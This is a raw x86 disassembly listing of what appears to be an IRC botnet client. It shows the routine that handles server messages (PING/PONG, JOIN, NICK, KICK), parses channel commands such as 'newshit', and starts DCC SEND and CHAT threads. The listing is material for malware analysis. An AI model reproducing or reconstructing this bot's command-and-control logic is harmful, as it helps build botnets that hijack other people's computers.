		cmp	esi, 0FFFFFFFDh
		jz	short loc_40CE4D
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40CE49
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CD85
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40CDDD
		jmp	loc_40CD8C
; ---------------------------------------------------------------------------

loc_40CE49:				; CODE XREF: sub_40CCDD+14Ej
		push	1
		jmp	short loc_40CE4F
; ---------------------------------------------------------------------------

loc_40CE4D:				; CODE XREF: sub_40CCDD+149j
		push	2

loc_40CE4F:				; CODE XREF: sub_40CCDD+16Ej
		pop	eax
		jmp	loc_40CD87
sub_40CCDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE55	proc near		; CODE XREF: sub_40CCDD+12Ap

var_159C	= byte ptr -159Ch
var_119C	= byte ptr -119Ch
var_F9C		= byte ptr -0F9Ch
var_D9C		= byte ptr -0D9Ch
var_C9C		= byte ptr -0C9Ch
var_C98		= byte ptr -0C98h
var_B98		= byte ptr -0B98h
var_B94		= byte ptr -0B94h
var_A94		= byte ptr -0A94h
var_A14		= byte ptr -0A14h
var_9B3		= byte ptr -9B3h
var_9B2		= byte ptr -9B2h
var_9B0		= byte ptr -9B0h
var_9AF		= byte ptr -9AFh
var_9A6		= byte ptr -9A6h
var_9A4		= byte ptr -9A4h
var_9A2		= byte ptr -9A2h
var_9A1		= byte ptr -9A1h
var_914		= dword	ptr -914h
var_910		= byte ptr -910h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= byte ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= dword	ptr -7F4h
var_7F0		= byte ptr -7F0h
var_788		= byte ptr -788h
var_77C		= byte ptr -77Ch
var_778		= dword	ptr -778h
var_774		= byte ptr -774h
var_770		= byte ptr -770h
var_718		= dword	ptr -718h
var_710		= byte ptr -710h
var_704		= dword	ptr -704h
var_700		= byte ptr -700h
var_6FC		= byte ptr -6FCh
var_6F8		= dword	ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= byte ptr -6F0h
var_689		= byte ptr -689h
var_688		= byte ptr -688h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_674		= byte ptr -674h
var_670		= byte ptr -670h
var_600		= byte ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= byte ptr -5F0h
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= byte ptr -564h
var_548		= byte ptr -548h
var_4F8		= dword	ptr -4F8h
var_4F4		= byte ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= byte ptr -4ECh
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= byte ptr -4D4h
var_4AC		= byte ptr -4ACh
var_48C		= dword	ptr -48Ch
var_474		= byte ptr -474h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= byte ptr -448h
var_444		= byte ptr -444h
var_430		= byte ptr -430h
var_420		= byte ptr -420h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_3F8		= dword	ptr -3F8h
var_3F4		= byte ptr -3F4h
var_3E8		= byte ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3C4		= byte ptr -3C4h
var_3A0		= byte ptr -3A0h
var_384		= byte ptr -384h
var_374		= byte ptr -374h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2D8		= word ptr -2D8h
var_2D6		= word ptr -2D6h
var_2D4		= dword	ptr -2D4h
var_2C8		= byte ptr -2C8h
var_C8		= dword	ptr -0C8h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_415D70
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_98], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C8], ebx
		call	sub_415570
		push	1Bh
		lea	eax, [ebp+var_564]
		push	[ebp+arg_10]
		push	eax
		call	sub_416D40
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40D219
		push	esi
		lea	eax, [ebp+var_F9C]
		push	ebx
		push	eax
		call	sub_415570
		dec	esi
		lea	eax, [ebp+var_F9C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_F9C]
		push	offset asc_4365AC ; " :"
		push	eax
		call	sub_415AC0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_F9C]
		push	esi
		push	eax
		lea	eax, [ebp+var_119C]
		push	eax
		call	sub_416D40
		mov	esi, offset asc_426A00 ; " "
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_416C98
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_A8], 1Fh

loc_40CF28:				; CODE XREF: sub_40CE55+E7j
		push	esi
		push	ebx
		call	sub_416C98
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_40CF28
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40D219
		cmp	[ebp+var_90], ebx
		jz	loc_40D219
		push	100h
		lea	eax, [ebp+var_A14]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_40CF76:				; CODE XREF: sub_40CE55+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40CFA2
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40CFAA
		cmp	[eax+2], bl
		jnz	short loc_40CFAA
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A14], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_40CFA2:				; CODE XREF: sub_40CE55+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40CF76

loc_40CFAA:				; CODE XREF: sub_40CE55+12Aj
					; sub_40CE55+12Fj
		cmp	[ebp+var_9A1], bl
		jz	short loc_40CFB5
		mov	[ebp+var_8], edi

loc_40CFB5:				; CODE XREF: sub_40CE55+15Bj
		cmp	[ebp+var_9A6], bl
		jz	short loc_40CFC3
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_40CFC3:				; CODE XREF: sub_40CE55+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40CFFD
		push	7Fh
		lea	eax, [ebp+var_A94]
		push	esi
		push	eax
		call	sub_416D40
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_C4]
		push	offset dword_42F3F8
		push	eax
		call	sub_416C98
		add	esp, 20h

loc_40CFFD:				; CODE XREF: sub_40CE55+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D04E
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40D0F2
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 10h
		jmp	loc_40D0F2
; ---------------------------------------------------------------------------

loc_40D04E:				; CODE XREF: sub_40CE55+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1A
		push	esi
		push	offset a005	; "005"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1A
		push	esi
		push	offset a302	; "302"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0B9
		push	offset a@_6	; "@"
		push	[ebp+var_88]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D0F2
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_416D40
		add	esp, 0Ch
		jmp	short loc_40D0F2
; ---------------------------------------------------------------------------

loc_40D0B9:				; CODE XREF: sub_40CE55+238j
		push	esi
		push	offset a433	; "433"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0F9
		push	ebx
		push	dword_4689AC
		push	dword_42C1A4
		push	[ebp+arg_10]
		call	sub_414433
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 1Ch

loc_40D0F2:				; CODE XREF: sub_40CE55+1D8j
					; sub_40CE55+1F4j ...
		mov	eax, edi
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_40D0F9:				; CODE XREF: sub_40CE55+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 2
		mov	edi, 80h

loc_40D10B:				; CODE XREF: sub_40CE55+2DBj
		lea	eax, [ebp+var_A94]
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D128
		mov	[ebp+var_98], 1

loc_40D128:				; CODE XREF: sub_40CE55+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_40D10B
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D221
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2

loc_40D157:				; CODE XREF: sub_40CE55+38Fj
		cmp	[esi], bl
		jz	loc_40D1DF
		push	7Fh
		lea	eax, [ebp+var_A94]
		push	esi
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D1DF
		cmp	[ebp+var_88], ebx
		jz	short loc_40D1DF
		push	[ebp+var_88]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D1DF
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_436538
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		add	esp, 20h

loc_40D1DF:				; CODE XREF: sub_40CE55+304j
					; sub_40CE55+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40D157
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D219
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_40D20E:				; CODE XREF: sub_40CE55+615j
					; sub_40CE55+96Cj
		push	[ebp+arg_4]
		call	sub_412D06

loc_40D216:				; CODE XREF: sub_40CE55+51FEj
					; sub_40CE55+521Bj ...
		add	esp, 10h

loc_40D219:				; CODE XREF: sub_40CE55+5Bj
					; sub_40CE55+F1j ...
		push	1

loc_40D21B:				; CODE XREF: sub_40CE55+5745j
		pop	eax

loc_40D21C:				; CODE XREF: sub_40CE55+29Fj
					; sub_40CE55+2164j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D221:				; CODE XREF: sub_40CE55+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D377
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax

loc_40D24A:				; CODE XREF: sub_40CE55+447j
		lea	eax, [ebp+var_A94]
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D297
		lea	eax, [ebp+var_A94]
		push	21h
		push	eax
		call	sub_417080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40D297
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_415C00
		push	[ebp+arg_1C]
		push	edi
		call	sub_415C10
		add	esp, 10h
		mov	edi, 80h

loc_40D297:				; CODE XREF: sub_40CE55+406j
					; sub_40CE55+41Dj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40D24A
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_40D219
		cmp	[ebp+arg_24], ebx
		jz	loc_40D219
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2DF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_416D40
		add	esp, 0Ch
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40D2DF:				; CODE XREF: sub_40CE55+473j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40D2E4:				; CODE XREF: sub_40CE55+4B0j
		cmp	[edi], bl
		jz	short loc_40D2FB
		lea	eax, [ebp+var_A94]
		push	eax
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D30C

loc_40D2FB:				; CODE XREF: sub_40CE55+491j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D2E4
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40D30C:				; CODE XREF: sub_40CE55+4A4j
		lea	eax, [ebp+var_A94]
		push	21h
		push	eax
		call	sub_417080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40D219
		push	eax
		call	sub_415CF0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_415CF0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40D219
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_4AC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: sub_40CE55+3DBj
		push	esi
		push	offset aPart	; "PART"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D399
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3C0

loc_40D399:				; CODE XREF: sub_40CE55+531j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40D39E:				; CODE XREF: sub_40CE55+569j
		cmp	[edi], bl
		jz	short loc_40D3B4
		push	[ebp+var_94]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D40E

loc_40D3B4:				; CODE XREF: sub_40CE55+54Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D39E

loc_40D3C0:				; CODE XREF: sub_40CE55+542j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D46F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3F7
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40D3F7:				; CODE XREF: sub_40CE55+597j
		push	[ebp+var_84]
		push	offset dword_4364D8

loc_40D402:				; CODE XREF: sub_40CE55+5577j
					; sub_40CE55+58F0j ...
		call	sub_40B1E1
		pop	ecx

loc_40D408:				; CODE XREF: sub_40CE55+5A05j
		pop	ecx
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40D40E:				; CODE XREF: sub_40CE55+55Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4364A4
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_415910
		add	esp, 18h
		test	eax, eax
		jnz	loc_40D219
		lea	eax, [ebp+var_2C8]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40D20E
; ---------------------------------------------------------------------------

loc_40D46F:				; CODE XREF: sub_40CE55+57Fj
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_415910
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D4C3
		push	[ebp+var_90]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D4C3
		push	[ebp+var_90]
		push	offset dword_436490
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41298E
		cmp	dword_42C194, ebx
		jz	loc_41298E

loc_40D4C3:				; CODE XREF: sub_40CE55+634j
					; sub_40CE55+646j
		push	[ebp+var_90]
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D649
		push	[ebp+var_90]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D649
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40D50A:				; CODE XREF: sub_40CE55+8B0j
					; sub_40CE55+941j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_436488
		mov	[ebp+arg_8], eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D943
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D801
		cmp	[ebp+var_98], ebx
		jz	loc_40D7D7
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6FC]
		push	edi
		push	eax
		call	sub_4154E7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_710]
		push	edi
		push	eax
		call	sub_4154E7
		push	[ebp+esi+var_84]
		call	sub_415A5F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_718], eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_436440
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	12h
		push	eax
		call	sub_414F93
		add	esp, 44h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_718]
		push	ebx
		push	eax
		push	offset sub_40BAB4
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	loc_40D7C6

loc_40D633:				; CODE XREF: sub_40CE55+7F2j
		cmp	[ebp+var_568], ebx
		jnz	loc_40D7F9
		push	32h
		call	dword_421060
		jmp	short loc_40D633
; ---------------------------------------------------------------------------

loc_40D649:				; CODE XREF: sub_40CE55+67Ej
					; sub_40CE55+694j
		push	[ebp+var_90]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D662
		mov	[ebp+var_4], 1

loc_40D662:				; CODE XREF: sub_40CE55+804j
		cmp	[ebp+var_8C], ebx
		jz	loc_40D219
		push	(offset	loc_4263DB+1)
		push	[ebp+var_8C]
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D689
		cmp	[ebp+var_4], ebx
		jz	short loc_40D695

loc_40D689:				; CODE XREF: sub_40CE55+82Dj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_8C], eax

loc_40D695:				; CODE XREF: sub_40CE55+832j
		cmp	[ebp+var_88], ebx
		jz	loc_40D219
		inc	[ebp+var_88]
		jz	short loc_40D6E1
		cmp	[ebp+arg_10], ebx
		jz	short loc_40D6E1
		lea	eax, [ebp+var_564]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_564]
		push	[ebp+var_88]
		push	eax
		call	sub_416ED0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40D6E7
; ---------------------------------------------------------------------------

loc_40D6E1:				; CODE XREF: sub_40CE55+852j
					; sub_40CE55+857j
		mov	esi, [ebp+var_AC]

loc_40D6E7:				; CODE XREF: sub_40CE55+88Aj
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40D219
		push	edi
		push	offset dword_436434
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D50A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40D787
		mov	eax, dword_4689BC
		mov	eax, off_42C268[eax*4]
		cmp	[eax], bl
		jz	short loc_40D787
		push	eax
		push	ecx
		push	offset dword_436418
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		add	esp, 20h
		cmp	[ebp+var_98], ebx
		jnz	loc_40D219
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1
		push	eax
		push	offset dword_4688C4

loc_40D777:				; CODE XREF: sub_40CE55+52F2j
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40D787:				; CODE XREF: sub_40CE55+8BFj
					; sub_40CE55+8CFj
		push	edi
		push	offset dword_4363F4
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D50A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40D50A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40D50A
		push	eax
		push	ecx
		push	offset dword_4363DC
		jmp	loc_40D20E
; ---------------------------------------------------------------------------

loc_40D7C6:				; CODE XREF: sub_40CE55+7D8j
		call	dword_421088
		push	eax
		push	offset dword_436390
		jmp	loc_40D92F
; ---------------------------------------------------------------------------

loc_40D7D7:				; CODE XREF: sub_40CE55+6FFj
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+esi+var_8C]
		push	offset dword_43633C
		push	eax
		call	sub_4154E7
		add	esp, 10h

loc_40D7F9:				; CODE XREF: sub_40CE55+7E4j
					; sub_40CE55+AA2j ...
		push	1
		pop	esi
		jmp	loc_40EFAA
; ---------------------------------------------------------------------------

loc_40D801:				; CODE XREF: sub_40CE55+6F3j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D959
		cmp	[ebp+var_98], ebx
		jz	loc_40D923
		push	13h
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	loc_40D915
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_710]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		push	[ebp+esi+var_84]
		call	sub_415A5F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_718], eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_436300
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	13h
		push	eax
		call	sub_414F93
		add	esp, 34h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_718]
		push	ebx
		push	eax
		push	offset sub_40B551
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_40D907

loc_40D8F1:				; CODE XREF: sub_40CE55+AB0j
		cmp	[ebp+var_568], ebx
		jnz	loc_40D7F9
		push	32h
		call	dword_421060
		jmp	short loc_40D8F1
; ---------------------------------------------------------------------------

loc_40D907:				; CODE XREF: sub_40CE55+A9Aj
		call	dword_421088
		push	eax
		push	offset dword_4362B8
		jmp	short loc_40D92F
; ---------------------------------------------------------------------------

loc_40D915:				; CODE XREF: sub_40CE55+9DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_436274
		jmp	short loc_40D92F
; ---------------------------------------------------------------------------

loc_40D923:				; CODE XREF: sub_40CE55+9CDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_436230

loc_40D92F:				; CODE XREF: sub_40CE55+97Dj
					; sub_40CE55+ABEj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------

loc_40D943:				; CODE XREF: sub_40CE55+6D8j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42C19C
		mov	[edi], ecx
		jnz	loc_40D219

loc_40D959:				; CODE XREF: sub_40CE55+9C1j
		mov	edi, [edi]
		push	edi
		push	offset aNewshit	; "newshit"
		mov	[ebp+arg_8], edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412996
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412996
		cmp	[ebp+var_98], ebx
		jnz	short loc_40D9AA
		push	[ebp+var_90]
		push	offset dword_436490
		call	sub_415910
		pop	ecx
